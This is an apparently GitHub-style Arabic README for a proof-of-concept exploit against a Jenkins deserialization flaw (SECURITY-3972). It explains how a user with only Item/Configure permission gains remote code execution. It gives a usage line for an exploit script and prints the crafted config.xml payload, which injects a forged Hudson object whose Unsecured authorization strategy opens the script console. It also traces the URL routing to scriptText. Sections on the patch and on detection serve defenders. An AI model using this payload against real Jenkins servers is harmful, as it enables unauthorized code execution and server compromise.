
# استغلال عدم أمان إلغاء التسلسل في Jenkins PersistenceRoot لتنفيذ أوامر عن بُعد (SECURITY-3972) — إثبات المفهوم والتحليل. يتطلب صلاحية Item/Configure؛ يؤثر على الإصدار الأسبوعي <= 2.579 / الإصدار طويل الدعم LTS <= 2.568.2
إثبات مفهوم (PoC) لثغرة إلغاء التسلسل في Jenkins والتي تم إصلاحها في 2026-09-02 (الإعلان). يمكن لحساب منخفض الصلاحيات يمتلك صلاحية Item/Configure على أي وظيفة واحدة تحويل ذلك إلى تنفيذ تعسفي للأكواد كمستخدم نظام تشغيل Jenkins.
| المتأثر | Jenkins الأسبوعي ≤ 2.579، LTS ≤ 2.568.2 |
| المُصلَح | الأسبوعي 2.580، LTS 2.568.3 |
| الشرط المسبق | مصادقة، صلاحية Item/Configure على ≥ 1 وظيفة |
| الأثر | تنفيذ أوامر عن بُعد كحساب خدمة Jenkins |
| CVSS | 8.8 (عالية) |
لأغراض البحث الأمني المصرح به على بيئات الاختبار المعرضة للخطر فقط.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
يتحقق السكربت من أن الحساب لا يمتلك صلاحية السكربت (يتوقع 403)، ويُرسل ملف config.xml المُعدّ، ثم يوجّه عبر مخطط الكائنات المحقون إلى وحدة تحكم سكربتات تكون قائمة التحكم بالوصول (ACL) الخاصة بها خاضعة لتحكم المهاجم.
سلوكان طويلا الأمد في مجموعة XStream الخاصة بـ Jenkins (hudson.util.XStream2 / RobustReflectionConverter) يتضافران:
PersistenceRoot كان يُفكّك ككائن عادي. وبما أن XStream يُنشئ عبر Unsafe.allocateInstance (بدون مُنشئ)، يمكن للمهاجم تزوير نسخة ثانية من hudson.model.Hudson بقيم حقول تعسفية — بما في ذلك authorizationStrategy.FingerprintAction.build، Run.project، AbstractItem.parent) هي حقول عابرة، لذا تصبح الكائنات المحقونة قابلة للوصول عبر HTTP — وهي صياغة "معالجة طلبات HTTP لاحقًا عبر Stapler" في الإعلان.POST /job/<job>/config.xml (يتطلب فقط صلاحية Item/Configure) يحقن في <actions> الخاصة بالوظيفة:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot متداخل (عيب 1)؛ حقل عابر (عيب 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: نهائي عابر محمي -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: عابر؛ Jenkins ثانٍ مزوّر -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- يتجنب NPE في Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
ثم يوجّه Stapler الطلب إلى المخطط المزوّر:
تجاوز التفويض: يتحقق doScriptText من صلاحية ADMINISTER مقابل النسخة التي استلمت الطلب، أي getACL() الخاصة بـ Hudson المزوّر، والتي تُشتق من حقل authorizationStrategy الخاص بها — وAuthorizationStrategy$Unsecured يمنح كل شيء. استراتيجية التفويض الخاصة بوحدة التحكم الحقيقية لا تشارك أبدًا. وبما أنه لا يتم تشغيل أي مُنشئ أثناء إلغاء التسلسل، فإن مُهيّئات الحقول لا تُطبَّق؛ يجب على الحمولة تعيين authorizationStrategy (وproperties) بشكل صريح.
مقارنة jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal الآن إلغاء تسلسل نوع فرعي من PersistenceRoot في حقل متداخل (CriticalXStreamException: "كائنات PersistenceRoot هي جذور مستندات ويجب ألا تظهر كقيم حقول متداخلة")، مما يسمح فقط بثلاثة أشكال آمنة: مراجع XStream الخلفية reference=، ومُستبدِلات resolves-to غير الدائمة (Run$Replacer، User$Replacer، …)، ومراجع قياسية لمحوّلات ذات قيمة واحدة.@XStreamNotDeserializable / @XStreamDeserializable بالإضافة إلى TRANSIENT_FIELD_STRICT_MODE تُشدّد إلغاء تسلسل الحقول العابرة لكل حقل.Jenkins.readResolve() الآن إلغاء تسلسل نسخة ثانية من Jenkins وأضاف مُستبدِل writeReplace().POST /job/*/config.xml غير متوقعة تحتوي على Fingerprinter_-FingerprintAction / hudson.model.Hudson متداخلة، أو طلبات إلى /job/*/fingerprints/run/parent/parent/scriptText.config.xml الخاصة بالوظائف بحثًا عن التلوث.| مقطع URL | يُحل إلى | مسار الكود |
|---|
/job/<job>/fingerprints | FingerprintAction المحقون | urlName == "fingerprints" + Actionable.getDynamic() |
/run | FreeStyleBuild المزوّر | FingerprintAction.getRun() يقرأ الحقل العابر build |
/parent | FreeStyleProject المزوّر | Run.getParent() يقرأ final transient project |
/parent | hudson.model.Hudson المزوّر | AbstractItem.getParent() يقرأ الحقل العابر parent |
/scriptText | وحدة تحكم سكربتات النسخة المزوّرة | Jenkins.doScriptText() → _doScript(..., getACL()) |
test/src/test/java/jenkins/security/Security3972Test.java، Security3972QueueRestartTest.java.